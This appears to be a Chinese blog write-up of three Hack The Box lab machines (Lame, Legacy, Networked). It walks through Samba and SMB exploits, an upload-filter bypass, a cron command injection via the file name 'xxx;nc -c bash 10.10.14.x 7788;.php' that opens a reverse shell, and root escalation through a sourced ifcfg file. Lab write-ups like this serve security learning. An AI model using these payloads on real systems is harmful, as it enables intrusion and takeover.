买了个htb会员,做一些大致的攻略。
###环境配置
htb的服务器都比较远,网络很慢,所以我把vpn文件放到了vps上,通过vps进行扫描操作,速度会比较快。为了访问web页面,在vps上用ew开了个个socks5代理,本地用sstap挂这个代理,配置10.10.10.1/24段走代理,本地就可以全局访问htb靶场机器了,蚁剑什么的都可以用。
###lame
lame这关得到大家一致打的低难度分,确实也比较简单。IP为10.10.10.3。首先nmap扫一下:
1 | root@vultr:~/nmap/bin# nmap -sCV 10.10.10.3 |
这里看到开了ftp和samba。先上ftp看了下没有东西。搜了下ftp2.3.4和samba3.0.20都有rce漏洞。但ftp那个其实并不是所有该版本都存在,测试了一下在这台靶机并没有。所以试着利用smb的漏洞(总不能爆破ssh吧)
利用的是CVE2007-2447usermap_script这个洞。可以直接msf。默认反弹的是nc的shell很难用,可以升级成metrepreter
1 | search samba |
这个方法需要msf,其实有简单的python利用脚本。在https://github.com/amriunix/CVE-2007-2447
直接python usermap_script.py 10.10.10.3 445 10.10.14.x 7788收shell就行了。一样升级shell
1 | nc -lvp 7788 |
漏洞打完直接是root,cat两个文件就行了
###Legacy
这关是windows的smb,盲猜17010。
扫一下
1 | nmap -script smb-vulns-* 10.10.10.4 |
旧xp,显示08067和17010都有,开msf打吧。但是msf的17010好像打不了xp,所以用08067。很简单不细细写了。不行就重启靶机。
###networked
一样先扫一下,开了80,有个空白网站。扫一下目录发现backup目录,里面有备份源码的tar包。解压后大概看一下,有个上传功能。过滤了后缀并检测了mime。但这个服务器存在apache解析配置错误,就是httpd.conf里存在AddHandler php5-script .php这一行,会导致所有名字里有.php的文件都会按php解析。所以上传个test.php.gif内容为GIF8就可以。
之后在photos.php里面找到地址,蚁剑连上就有了第一个shell。这个shell用户是apache所以不能直接看user.txt。看到guly目录下还有个crontab
1 | */3 * * * * php /home/guly/check_attack.php |
内容是每三分钟调用另一个check_attack.php。
1 |
|
这个文件的功能是删除不符合命名格式的图片,本意是防止攻击。但是第二个exec里面很明显有个命令注入,构造一个恶意文件名来弹个shell。linux文件名可以有空格,所以在uploads目录下
1 | touch 'xxx;nc -c bash 10.10.14.x 7788;.php' |
创建一个恶意文件,等待crontab触发就接收到shell。
收到guly用户的shell后就可以cat user.txt了。之后提权root。先sudo -l看下发现(root) NOPASSWD: /usr/local/sbin/changename.sh,看一下这个脚本
1 |
|
就是把网卡配置输入写到ifcfg-guly这个文件中,然后ifup启动这个网卡。搜了下发现https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f这里提到了这个bug,当用户可以修改ifcfg文件时会导致代码执行。但官方认为这不是个bug,因为网卡本来就是只有root能操作的,只是算个配置问题。
其实这里就是把输入写进文件然后source了一下,但source就是有这个特性。先在本地试下:
1 | echo some=asd id > example |
会发现id命令执行了。这个bug也是利用这个特性提权
1 | [guly@networked ~]$ sudo /usr/local/sbin/changename.sh |
可以看到whoami已经是root。这里比较奇怪的是每个命令都执行了两次,并且执行的路径在/etc/sysconfig/network-scripts,那么看下ifup的代码:
1 |
|
可以看到最开始加载了/etc/sysconfig/network-scripts下的network-functions,并且代码里调用了两处source_config函数,那么看一下network-functions中的这个函数
1 | source_config () |
这里就很简单了,source_config其实就是source了这个ifcfg-guly文件,导致了代码执行。ifup中调用了两次这个函数,所以上面的脚本命令执行了两次。